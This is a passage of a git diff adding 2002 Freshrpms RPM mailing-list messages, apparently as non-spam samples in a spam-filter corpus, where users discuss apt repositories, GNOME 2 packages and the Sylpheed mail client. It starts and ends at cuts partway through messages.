[193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6NKKb426197 for + ; Tue, 23 Jul 2002 21:20:37 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6NKF3C14525; Tue, 23 Jul 2002 22:15:03 + +0200 +Received: from imf22bis.bellsouth.net (mail022.mail.bellsouth.net + [205.152.58.62]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6NKEZC13522 for ; Tue, 23 Jul 2002 22:14:35 +0200 +Received: from adsl-157-17-58.msy.bellsouth.net ([66.157.17.58]) by + imf22bis.bellsouth.net (InterMail vM.5.01.04.19 + 201-253-122-122-119-20020516) with ESMTP id + <20020723201427.VWKR19755.imf22bis.bellsouth.net@adsl-157-17-58.msy.bellsouth.net> + for ; Tue, 23 Jul 2002 16:14:27 -0400 +Subject: Re: central management +From: Lance +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020723115021.3c01e04a.matthias@egwn.net> +References: <20020722144004.3e8e8f0a.che666@uni.de> + <20020722212529.6ad783b8.kilroy@kamakiriad.com> + <20020723115021.3c01e04a.matthias@egwn.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1027455503.8885.0.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 23 Jul 2002 15:18:23 -0500 +Date: 23 Jul 2002 15:18:23 -0500 + +Thanks for this, Matthias! Hope you feel better. + +Lance + +On Tue, 2002-07-23 at 04:50, Matthias Saou wrote: +> Once upon a time, Brian wrote : +> +> > I was thinkinf about an addition of another file: apt-repositories. +> > Stick it on apt.freshmeat.net (the center of the apt universe, IMHO) +> > and every time a new repository is added, the RPM can be rebuilt. +> > Heck, if I could get out of my depression, I could make the whole +> > submission process automated....even making the RPM... +> +> Well, I already keep a list of known apt repositories on +> http://freshrpms.net/apt/ although I haven't added the ones that were +> talked about lately (actually I've been very busy over the week-end and I'm +> sick right now...). +> +> You could make the whole submission automated, even making the rpm? +> +> http://rpmforge.net/ needs *you*! +> +> +> Matthias +> +> -- +> Matthias Saou World Trade Center +> ------------- Edificio Norte 4 Planta +> System and Network Engineer 08039 Barcelona, Spain +> Electronic Group Interactive Phone : +34 936 00 23 23 +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list +-- +: +####[ Linux One Stanza Tip (LOST) ]########################### + +Sub : Knowing contents of .tgz files LOST #015 + +To know the contents of a .tgz file without decompressing: + +$tar -ztvf filename.tgz | less + +A .tgz file is essentially a gzipped tarball (.tar.gz) file. + +######################################## +: + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01155.6f283de255ba0f35b2eabed58815142b b/bayes/spamham/easy_ham_2/01155.6f283de255ba0f35b2eabed58815142b new file mode 100644 index 0000000..945fe76 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01155.6f283de255ba0f35b2eabed58815142b @@ -0,0 +1,60 @@ +From rpm-list-admin@freshrpms.net Tue Jul 23 23:27:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0AAF1440CC + for ; Tue, 23 Jul 2002 18:27:31 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 23:27:31 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6NMRF432544 for + ; Tue, 23 Jul 2002 23:27:15 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6NMJ2C17082; Wed, 24 Jul 2002 00:19:02 + +0200 +Received: from gurney.bluecom.no (gurney.bluecom.no [217.118.32.13]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6NMIYC16942 for + ; Wed, 24 Jul 2002 00:18:34 +0200 +Received: from sunnmore.net (ekorn.sunnmore.net [217.118.32.243]) by + gurney.bluecom.no (8.11.6/8.11.6) with ESMTP id g6NMISN09666 for + ; Wed, 24 Jul 2002 00:18:28 +0200 +Message-Id: <3D3DD633.7010003@sunnmore.net> +From: Roy-Magne Mo +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020715 +X-Accept-Language: nn, no, en-us +MIME-Version: 1.0 +To: rpm-zzzlist@freshrpms.net +Subject: apt repository for irssi +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 00:18:27 +0200 +Date: Wed, 24 Jul 2002 00:18:27 +0200 + +Seems like irssi.org also has an apt-rpm repository for snapshots of irssi: + +rpm http://ninja.no/apt 7.3/i386 irssi +rpm-src http://ninja.no/apt 7.3/i386 irssi + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01156.813115de077758221552875e614ad48c b/bayes/spamham/easy_ham_2/01156.813115de077758221552875e614ad48c new file mode 100644 index 0000000..ec29804 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01156.813115de077758221552875e614ad48c @@ -0,0 +1,70 @@ +From rpm-list-admin@freshrpms.net Wed Jul 24 00:21:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BC1C5440CD + for ; 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+ Wed, 24 Jul 2002 11:15:25 +1200 +From: Mark Derricutt +To: rpm-zzzlist@freshrpms.net +Subject: Re: apt repository for irssi +Message-Id: <1020000.1027466059@stumpy.asterisk.co.nz> +In-Reply-To: <3D3DD633.7010003@sunnmore.net> +References: <3D3DD633.7010003@sunnmore.net> +X-Mailer: Mulberry/2.2.1 (Linux/x86) +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Content-Disposition: inline +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 11:14:19 +1200 +Date: Wed, 24 Jul 2002 11:14:19 +1200 + +Sadly, the last time I looked at it, it was only the console irssi client, +no X :( + +--On Wednesday, July 24, 2002 00:18:27 +0200 Roy-Magne Mo + wrote: + +> Seems like irssi.org also has an apt-rpm repository for snapshots of +> irssi: + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01157.f12e373828099cd001040900a6c9d151 b/bayes/spamham/easy_ham_2/01157.f12e373828099cd001040900a6c9d151 new file mode 100644 index 0000000..5750670 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01157.f12e373828099cd001040900a6c9d151 @@ -0,0 +1,77 @@ +From rpm-list-admin@freshrpms.net Wed Jul 24 08:56:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4B98A440CC + for ; Wed, 24 Jul 2002 03:56:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 08:56:46 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O7rc428384 for + ; Wed, 24 Jul 2002 08:53:38 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6O7n2C07312; Wed, 24 Jul 2002 09:49:02 + +0200 +Received: from bob.dudex.net (dsl092-157-004.wdc1.dsl.speakeasy.net + [66.92.157.4]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6O7lXC29449 + for ; Wed, 24 Jul 2002 09:47:33 +0200 +Received: from [66.92.157.3] (helo=www.dudex.net) by bob.dudex.net with + esmtp (Exim 3.35 #1) id 17XGtM-0000gs-00 for rpm-list@freshrpms.net; + Wed, 24 Jul 2002 03:49:05 -0400 +X-Originating-Ip: [4.64.217.201] +From: "" Angles " Puglisi" +To: rpm-zzzlist@freshrpms.net +Subject: Re: Ximian apt repos? +Message-Id: <20020724.FRs.59646600@www.dudex.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +Content-Disposition: inline +X-Mailer: AngleMail for phpGroupWare (http://www.phpgroupware.org) v + 0.9.14.000 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 07:50:51 +0000 +Date: Wed, 24 Jul 2002 07:50:51 +0000 + +Lance (lance_tt@bellsouth.net) wrote*: +> +>well, from the looks of things, Evolution mail client isn't supported +>just yet, so I reckon I'll wait a bit. Whoever posted these gnome2 apt +>repositories, thanks!!! +> + +I'm uising Havoc Pennington's Gnomehide and it rocks. I installed it before I +knew about apt, but one of the previous emails had an apt repository that +claimed to have gnomehide. Just remember there is one kew file that makes the +difference between Gnome1 and Gnome2 being used. I *think* it is "gnome-core" +vs. "gnome-session" but I can not remember. + +Note that that those same files are probably in the Limbo beta, except +updated. There has not been a major change to "gnomehide" in a while, I +suspect Havoc's work went into Limbo then. + +-- +That's "angle" as in geometry. + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01158.6a44abff11c422803f7399f6db573b29 b/bayes/spamham/easy_ham_2/01158.6a44abff11c422803f7399f6db573b29 new file mode 100644 index 0000000..6c5d7c7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01158.6a44abff11c422803f7399f6db573b29 @@ -0,0 +1,88 @@ +From rpm-list-admin@freshrpms.net Wed Jul 24 09:07:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A43F2440CC + for ; Wed, 24 Jul 2002 04:06:59 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 09:06:59 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O7x3428541 for + ; Wed, 24 Jul 2002 08:59:03 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6O7s1C27014; Wed, 24 Jul 2002 09:54:01 + +0200 +Received: from bob.dudex.net (dsl092-157-004.wdc1.dsl.speakeasy.net + [66.92.157.4]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6O7r9C23085 + for ; Wed, 24 Jul 2002 09:53:09 +0200 +Received: from [66.92.157.3] (helo=www.dudex.net) by bob.dudex.net with + esmtp (Exim 3.35 #1) id 17XGyn-0000ht-00 for rpm-list@freshrpms.net; + Wed, 24 Jul 2002 03:54:41 -0400 +X-Originating-Ip: [4.64.217.201] +From: "" Angles " Puglisi" +To: rpm-zzzlist@freshrpms.net +Subject: Re: central management +Message-Id: <20020724.j6c.63348700@www.dudex.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +Content-Disposition: inline +X-Mailer: AngleMail for phpGroupWare (http://www.phpgroupware.org) v + 0.9.14.000 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 07:56:27 +0000 +Date: Wed, 24 Jul 2002 07:56:27 +0000 + +I build a lot of rpms but I'm to stupid/busy to "apt-ize" what I have. I wish +it was apt enabled because I have several boxen and apt would help even with +rpms that I build. Did I mention forgetful too? + +http://www.dudex.net/rpms + + +che (che666@uni.de) wrote*: +> +>hello! +>well in my eyes something like a public contrib repository would be nice +(where everyone can at least upload spec files) and a something like a +"repository directory" with a collection of available repositorys and their +content. +> +>i am personally on a dsl dialup connection with 16kb/s upstream cap and that +kinda sucks perhaps i am gonna still create a respository for small +windowmaker dockapps in the future :). +> +>what do you think? +> +>thanks, +>che +> +>_______________________________________________ +>RPM-List mailing list +> + +-- +That's "angle" as in geometry. + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01159.2815cb2878b393aa1735e1f0bbc2c888 b/bayes/spamham/easy_ham_2/01159.2815cb2878b393aa1735e1f0bbc2c888 new file mode 100644 index 0000000..b24925e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01159.2815cb2878b393aa1735e1f0bbc2c888 @@ -0,0 +1,80 @@ +From rpm-list-admin@freshrpms.net Thu Jul 25 10:56:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 31DEC440D1 + for ; Thu, 25 Jul 2002 05:56:48 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 10:56:48 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6OJCE402303 for + ; Wed, 24 Jul 2002 20:12:14 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6OJ74C05245; Wed, 24 Jul 2002 21:07:04 + +0200 +Received: from mail.aspect.net + (postfix@adsl-65-69-210-161.dsl.hstntx.swbell.net [65.69.210.161]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6OJ66C30075 for + ; Wed, 24 Jul 2002 21:06:06 +0200 +Received: from [9.95.46.119] (bi-02pt1.bluebird.ibm.com [129.42.208.182]) + by mail.aspect.net (Postfix) with ESMTP id 7771946140 for + ; Wed, 24 Jul 2002 13:55:48 -0500 (CDT) +Subject: Re: Ximian apt repos? +From: Julian Missig +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020724.FRs.59646600@www.dudex.net> +References: <20020724.FRs.59646600@www.dudex.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.5 (1.0.5-2.4) +Message-Id: <1027537563.18947.12.camel@fuggles> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 24 Jul 2002 15:05:57 -0400 +Date: 24 Jul 2002 15:05:57 -0400 + +On Wed, 2002-07-24 at 03:50, Angles Puglisi wrote: +> Lance (lance_tt@bellsouth.net) wrote*: +> > +> >well, from the looks of things, Evolution mail client isn't supported +> >just yet, so I reckon I'll wait a bit. Whoever posted these gnome2 apt +> >repositories, thanks!!! +> > +> +> I'm uising Havoc Pennington's Gnomehide and it rocks. I installed it before I +> knew about apt, but one of the previous emails had an apt repository that +> claimed to have gnomehide. Just remember there is one kew file that makes the +> difference between Gnome1 and Gnome2 being used. I *think* it is "gnome-core" +> vs. "gnome-session" but I can not remember. +> +> Note that that those same files are probably in the Limbo beta, except +> updated. There has not been a major change to "gnomehide" in a while, I +> suspect Havoc's work went into Limbo then. + +Right, gnomehide is only updated when it's been a while since the last +red hat release, and the next beta isn't out yet. Since the beta is out +now, gnomehide won't be updated again for a while. + +Julian + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01160.3f6d380219ed7939e4ee8e4a2c4b5546 b/bayes/spamham/easy_ham_2/01160.3f6d380219ed7939e4ee8e4a2c4b5546 new file mode 100644 index 0000000..8dd7cce --- /dev/null +++ b/bayes/spamham/easy_ham_2/01160.3f6d380219ed7939e4ee8e4a2c4b5546 @@ -0,0 +1,108 @@ +From rpm-list-admin@freshrpms.net Thu Jul 25 11:07:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 87256440DC + for ; Thu, 25 Jul 2002 06:06:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:06:46 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6P6lj402559 for + ; Thu, 25 Jul 2002 07:47:46 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6P6g2C32076; Thu, 25 Jul 2002 08:42:03 + +0200 +Received: from imf20bis.bellsouth.net (mail120.mail.bellsouth.net + [205.152.58.80]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6P6fLC28043 for ; Thu, 25 Jul 2002 08:41:21 +0200 +Received: from adsl-157-22-166.msy.bellsouth.net ([66.157.22.166]) by + imf20bis.bellsouth.net (InterMail vM.5.01.04.19 + 201-253-122-122-119-20020516) with ESMTP id + <20020725064115.OMKC8138.imf20bis.bellsouth.net@adsl-157-22-166.msy.bellsouth.net> + for ; Thu, 25 Jul 2002 02:41:15 -0400 +Subject: Re: Ximian apt repos? +From: Lance +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <1027537563.18947.12.camel@fuggles> +References: <20020724.FRs.59646600@www.dudex.net> + <1027537563.18947.12.camel@fuggles> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1027579516.15921.18.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 25 Jul 2002 01:45:15 -0500 +Date: 25 Jul 2002 01:45:15 -0500 + +Well, from the looks of things, I can import all my mail settings from +Evolution to Sylpheed. Has anyone successfully run Sylpheed in Gnome +2.0? I noticed with 'apt-get install gnome-session' from the 'rpm +http://apt.sunnmore.net gnome2 73' repository, Sylpheed isn't one of the +packages selected for deletion. + +Lance + +On Wed, 2002-07-24 at 14:05, Julian Missig wrote: +> On Wed, 2002-07-24 at 03:50, Angles Puglisi wrote: +> > Lance (lance_tt@bellsouth.net) wrote*: +> > > +> > >well, from the looks of things, Evolution mail client isn't supported +> > >just yet, so I reckon I'll wait a bit. Whoever posted these gnome2 apt +> > >repositories, thanks!!! +> > > +> > +> > I'm uising Havoc Pennington's Gnomehide and it rocks. I installed it before I +> > knew about apt, but one of the previous emails had an apt repository that +> > claimed to have gnomehide. Just remember there is one kew file that makes the +> > difference between Gnome1 and Gnome2 being used. I *think* it is "gnome-core" +> > vs. "gnome-session" but I can not remember. +> > +> > Note that that those same files are probably in the Limbo beta, except +> > updated. There has not been a major change to "gnomehide" in a while, I +> > suspect Havoc's work went into Limbo then. +> +> Right, gnomehide is only updated when it's been a while since the last +> red hat release, and the next beta isn't out yet. Since the beta is out +> now, gnomehide won't be updated again for a while. +> +> Julian +> +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list +-- +: +####[ Linux One Stanza Tip (LOST) ]########################### + +Sub : Monitoring su attempts LOST #115 + +In a multiuser system you may like to monitor all su attempts. +Edit /etc/login.defs and edit SULOG_FILE as follows: +SULOG_FILE /var/log/sulog ... (name of file to hold info) + +######################################## +: + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01161.e8187ae02ef05340873371d3d1c6448b b/bayes/spamham/easy_ham_2/01161.e8187ae02ef05340873371d3d1c6448b new file mode 100644 index 0000000..602e4dd --- /dev/null +++ b/bayes/spamham/easy_ham_2/01161.e8187ae02ef05340873371d3d1c6448b @@ -0,0 +1,79 @@ +From rpm-list-admin@freshrpms.net Thu Jul 25 11:07:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EEA6E440DE + for ; Thu, 25 Jul 2002 06:06:57 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:06:57 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6P9DX410161 for + ; Thu, 25 Jul 2002 10:13:33 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6P982C17538; Thu, 25 Jul 2002 11:08:02 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6P97FC17276 for + ; Thu, 25 Jul 2002 11:07:16 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Sylpheed with GNOME 2 (was Re: Ximian apt repos?) +Message-Id: <20020725110700.3797c42e.matthias@egwn.net> +In-Reply-To: <1027579516.15921.18.camel@localhost.localdomain> +References: <20020724.FRs.59646600@www.dudex.net> + <1027537563.18947.12.camel@fuggles> + <1027579516.15921.18.camel@localhost.localdomain> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.0claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 25 Jul 2002 11:07:00 +0200 +Date: Thu, 25 Jul 2002 11:07:00 +0200 + +Once upon a time, Lance wrote : + +> Well, from the looks of things, I can import all my mail settings from +> Evolution to Sylpheed. Has anyone successfully run Sylpheed in Gnome +> 2.0? I noticed with 'apt-get install gnome-session' from the 'rpm +> http://apt.sunnmore.net gnome2 73' repository, Sylpheed isn't one of the +> packages selected for deletion. + +I think that's simply because Sylpheed isn't a GNOME application, but a +"simple" gtk+ one. It needs no GNOME libs at all, so upgrading to GNOME 2 +but keeping gtk+ 1.2 will let you keep Sylpheed with no problem. + +Matthias + +PS : Expect 0.8.1 on freshrpms.net in a few minutes ;-) + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01162.4b41142b91c1d93f1e8fcfa6f43e01bd b/bayes/spamham/easy_ham_2/01162.4b41142b91c1d93f1e8fcfa6f43e01bd new file mode 100644 index 0000000..f61da63 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01162.4b41142b91c1d93f1e8fcfa6f43e01bd @@ -0,0 +1,87 @@ +From rpm-list-admin@freshrpms.net Thu Jul 25 11:07:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7F628440D0 + for ; Thu, 25 Jul 2002 06:07:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:07:03 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6P9hM413303 for + ; Thu, 25 Jul 2002 10:43:22 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id KAA08926 for ; + Thu, 25 Jul 2002 10:31:22 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6P9S1C01050; Thu, 25 Jul 2002 11:28:01 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6P9RbC32353 for + ; Thu, 25 Jul 2002 11:27:37 +0200 +Received: from aquila.kamakiriad.local (aquila.kamakiriad.local + [192.168.1.3]) by kamakiriad.com (8.11.6/8.11.0) with SMTP id g6P9RMo23874 + for ; Thu, 25 Jul 2002 04:27:23 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Subject: Re: apt-get...universe (was: Sylpheed with GNOME 2 +Message-Id: <20020725042722.60ca98b7.kilroy@kamakiriad.com> +In-Reply-To: <20020725110700.3797c42e.matthias@egwn.net> +References: <20020724.FRs.59646600@www.dudex.net> + <1027537563.18947.12.camel@fuggles> + <1027579516.15921.18.camel@localhost.localdomain> + <20020725110700.3797c42e.matthias@egwn.net> +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 25 Jul 2002 04:27:22 -0500 +Date: Thu, 25 Jul 2002 04:27:22 -0500 + +On Thu, 25 Jul 2002 11:07:00 +0200, Matthias Saou wrote: + +> Once upon a time, Lance wrote : +> +> > Well, from the looks of things, I can import all my mail settings from +> > Evolution to Sylpheed. Has anyone successfully run Sylpheed in Gnome +> > 2.0? I noticed with 'apt-get install gnome-session' from the 'rpm +> > http://apt.sunnmore.net gnome2 73' repository, Sylpheed isn't one of the +> > packages selected for deletion. +> +> I 